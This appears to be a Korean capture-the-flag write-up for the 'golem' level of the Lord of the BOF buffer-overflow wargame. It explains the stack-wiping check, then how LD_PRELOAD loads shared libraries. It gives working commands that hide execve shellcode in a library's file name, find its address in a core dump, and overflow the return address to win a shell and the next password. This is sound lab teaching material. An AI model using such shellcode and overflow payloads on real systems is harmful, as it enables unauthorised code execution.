login as : skeleton
password : shellcoder
문제 확인
/*
The Lord of the BOF : The Fellowship of the BOF
- golem
- stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
1. 커맨드라인 인자가 있어야한다.
2. 첫 번째 커맨드라인 인자 값의 48번째는 0xbf로써 이는 RET 부분에 덮어쓰는 주소 값이 스택 영역의 주소여야 한다는것이다.
3. buffer[40] + 4byte 크기의 공간을 0으로 초기화한다.
4. buffer+48 번째 값 즉 RET 부분 다음 공간부터 0xbfffffff - buffer+48의 결과에 해당하는 크기의 공간만큼을 0으로 초기화 한다.
스택 레이아웃
낮은 주소
...
local variables of main
saved registers of main
return address of main
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
높은 주소
이번 문제에서는 buffer[40]의 공간과 더불어 SFP 공간을 0으로 초기화 하고, RET 부분은 자유롭게 두지만 RET 부분 다음 공간부터 스택 전체 공간을 0으로 초기화한다.
즉 위의 스택 레이아웃에서 "Return Address of main" 부분 다음에 있는 "argc"부터 스택 전체 공간을 0으로 초기화 한다는 것이다.
그러면 이전에 사용했던 기법들은 물론이고, 실행 파일 이름 자체가 있는 스택의 주소로 반환하도록 할 수도 없다.
buffer[40]의 주소부터 이 주소보다 높은 주소에 해당하는 공간은 다 사용이 못하는 것이므로 buffer[40]의 주소보다 작은 주소에 해당한느 공간을 이용해야 하는데, 이때 사용할 수 있는 방법이 공유 라이브러리와 관련이 있는 LD_PRELOAD 환경 변수를 이용하는 것이다.
프로세스 레이아웃
낮은 주소
....
코드 영역
데이터 영역
힙 영역
공유 라이브러리 영역
스택 영역
커널 영역
....
높은 주소
공유 라이브러리는 위의 프로세스 레이아웃을 참고하면 스택 영역보다 더 작은 주소 쪽에 배치되므로 공유 라이브러리를 만들고, 해당 공유 라이브러리 파일의 이름에 셸코드를 넣은 뒤 해당 공유 라이브러리 파일이 위치한 주소로 반환하도록 하면 된다.
(물론 힙 영역도 스택 영역보다 더 작은 주소 쪽에 해당하므로 힙 영역을 이용해도 된다.)
공유 라이브러리와 LD_PRELOAD
낮은 주소
....
코드 영역
데이터 영역
힙 영역
공유 라이브러리 영역
스택 영역
커널 영역
....
높은 주소
공유(동적) 라이브러리는 windows로 비교하자면 .dll 확장자를 가진 파일과 같으며, 컴파일 될 때가 아닌 프로그램이 시작될 때 메모리에 적재된다는 특징이 있다.
프로세스 레이아웃을 보면 공유 라이브러리들은 스택 영역보다 낮은 주소 영역에 배치된다.
LD_PRELOAD 환경 변수는 LD_PRELOAD에 설정된 라이브러리를 기존의 라이브러리가 로딩되기 전에 먼저 로딩시킨다.
LD_PRELOAD=a.so
예를 들어, 위와 같이 a.so라는 라이브러리 파일을 LD_PRELOAD에 지정해두면, 다른 라이브러리들이 로딩되기 전에 a.so 라는 라이브러리를 로딩 시킨다는 것이다.
이때 만약 a.so 라이브러리에 printf()라는 함수가 있고, a.so 라이브러리가 로딩된 후 로딩되는 라이브러리들에서도 printf() 함수가 있다면 중복되는데, 이럴 때는 LD_PRELOAD에 설정된 a.so 라이브러리가 먼저 로딩되기 때문에 a.so 라이브러리의 printf() 함수가 호출된다.
이로 인해 프로그래머가 임의로 작성한 조작된 함수가 포함된 라이브러리를 만들고 그 라이브러리를 LD_PRELOAD 환경 변수에 등록해 먼저 로딩되도록 하여 후킹을 할 수 있기 때문에 LD_PRELOAD를 이용한 SSL 후킹에 많이 사용되는 방법이다.
단, SetUID가 걸린 파일은 LD_PRELOAD를 사용해도 보안상의 이유로 무시된다.
공유 라이브러리를 만드는 방법과 LD_PRELOAD 환경 변수에 등록
1. C언어를 기준으로 설명한다면 my-lib.c와 같이 .c 확장자 파일에 자신만의 함수를 구현해둔 다음
2. gcc로 컴파일을 하는데, 이때 아래와 같이 -shared 옵션을 붙여주면 된다.
gcc -shared -o my-lib.so my-lib.c
3. 그리고 다른 라이브러리들보다 먼저 로딩되도록 LD_PRELAOD 환경 변수에 등록하면 된다.
LD_PRELOAD=./my-lib
4. LD_PRELOAD 환경 변수에 등록한 라이브러리를 해제하려면 unset 명령을 이용한다.
unset LD_PRELOAD
dummy 값 확인
지역 변수를 위한 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다.
공격
공유 라이브러리 생성 및 LD_PRELOAD 환경 변수에 등록
touch a.c
gcc a.c -shared -o `python -c 'print "\x90" * 50 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
export LD_PRELOAD=`python -c 'print "./" + "\x90" * 50 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
현재는 후킹이 아니라 공유 라이브러리 이름에 셸코드를 넣고 해당 공유 라이브러리가 위치한 주소로 반환하도록 할 것이므로 .c 확장자 파일에 아무런 내용이 없어도 된다.
참고) LD_PRELOAD에 등록할 때는 경로까지 추가하여 기입해야 한다.
공유 라이브러리가 위치한 주소를 알아내기 위해 core 파일 생성 후 분석하여 공격
cp golem golem2
./golem2 `python -c 'print "\x90" * 44 + "\xbf\xbf\xbf\xbf"'`
gdb -q -c core
x/1000s $esp-1500
현재 segmentation fault가 발생한 주소보다 공유 라이브러리 영역은 더 작은 주소 쪽에 있으므로 ESP 값에서 임의의 값을 빼 공유 라이브러리 영역을 보면 셸코드가 있는 주소는 0xbffff7cf이다.
./golem `python -c 'print "\x90" * 44 + "\xcf\xf7\xff\xbf"'`
0xbffff7cf 주소로 반환하도록 payload를 인자로 보내며 golem을 실행하면 golem의 password인 cup of coffee를 얻을 수 있다.
LD_PRELOAD로 등록시킨 라이브러리가 올라갔을 때의 메모리 맵 보는 방법 예시
bash2
ps
cat /proc/[프로세스의 번호]/maps
이전에 위헤서 export로 라이브러리를 로딩시켰기 때문에 export는 생략하고
라이브러리를 로딩한 상태의 메모리 맵을 보는 것이 목표이므로 새로 bash2를 실행한다.
(이전에 실행 중인 bash2는 새로 등록한 라이브러리가 로딩되어 있지 않은 상태이므로 메모리맵에서 해당 라이브러리를 확인할 수 없다.)
그리고 cat 명령어를 이용해 메모리 맵을보면 새로 등록한 라이브러리를 확인할 수 있다.